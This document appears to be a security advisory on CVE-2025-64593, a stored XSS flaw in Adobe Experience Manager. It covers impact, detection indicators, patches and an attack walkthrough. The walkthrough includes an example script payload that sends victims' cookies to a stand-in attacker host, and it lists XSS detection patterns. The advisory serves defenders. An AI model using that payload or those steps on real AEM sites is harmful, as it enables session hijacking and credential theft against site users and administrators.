CVE-2025-64593: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-64593 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.23 and earlier (on-premises) and AEM as a Cloud Service versions prior to 2025.12.0. The vulnerability was published on December 9–10, 2025, as part of Adobe's security bulletin APSB25-115. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory).

The root cause is improper neutralization of user-supplied input during web page generation (CWE-79 — Stored XSS). A low-privileged, authenticated attacker can inject malicious JavaScript into vulnerable AEM form fields; the script is then stored server-side and executes in the browser of any victim who visits the page containing the vulnerable field. Exploitation requires network access, low privileges, and user interaction (a victim browsing to the affected page), with a changed scope indicating cross-context impact. No public proof-of-concept code has been identified at this time (Adobe Advisory, Feedly).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session on the AEM instance, potentially leading to session hijacking, credential theft, unauthorized actions performed on behalf of the victim, and defacement of AEM-hosted content. The changed scope (S:C) in the CVSS vector indicates that the impact extends beyond the vulnerable component itself, affecting other users or components within the AEM environment. Confidentiality and integrity are both impacted at a low level per the CVSS scoring, with no direct availability impact (Adobe Advisory).

1. Reconnaissance: Identify AEM instances running version 6.5.23 or earlier, or AEM Cloud Service versions prior to 2025.12.0, using web fingerprinting tools or Shodan searches for AEM-specific paths (e.g., /libs/granite/core/content/login.html).
2. Obtain low-privileged access: Register or obtain credentials for a low-privileged AEM user account (e.g., a content author or contributor role).
3. Identify vulnerable form fields: Navigate to AEM pages or components that accept and store user input (e.g., text fields in page properties, content fragments, or form components) that are rendered without proper output encoding.
4. Inject malicious payload: Submit a stored XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable field and save/publish the content.
5. Trigger victim execution: Lure a higher-privileged user (e.g., an AEM administrator) to browse the page containing the injected payload, causing the malicious script to execute in their browser context, potentially stealing session cookies or performing privileged actions on their behalf (Adobe Advisory).

• Logs: AEM access logs showing POST requests to content authoring endpoints (e.g., /content/, /editor.html/) from low-privileged accounts containing script tags or encoded JavaScript payloads (%3Cscript%3E, javascript:, onerror=).
• Logs: AEM error logs or audit logs recording unexpected content modifications by low-privileged users in sensitive page properties or form fields.
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after visiting AEM-hosted pages, potentially carrying cookie or session data as query parameters.
• File System / Content Repository: Presence of <script> tags, event handler attributes (onload, onerror, onmouseover), or encoded JavaScript within stored AEM content nodes (JCR repository), detectable via repository queries or content audits.

Adobe has released patches addressing CVE-2025-64593 in AEM 6.5.24.0 (on-premises) and AEM as a Cloud Service 2025.12.0. Organizations should upgrade to these versions immediately. As a temporary workaround, restrict content authoring permissions to trusted users only and implement a Web Application Firewall (WAF) rule to detect and block XSS payloads in AEM form submissions. Regularly audit stored content in the JCR repository for unexpected script injections (Adobe Advisory).

The Center for Internet Security (CIS) issued an advisory noting multiple vulnerabilities in Adobe products that could allow arbitrary code execution, referencing the broader APSB25-115 bulletin that includes CVE-2025-64593 (CIS Advisory). Social media activity on Bluesky noted the CVE shortly after publication, though no significant researcher commentary or media coverage specific to this individual CVE has been identified beyond standard vulnerability tracking.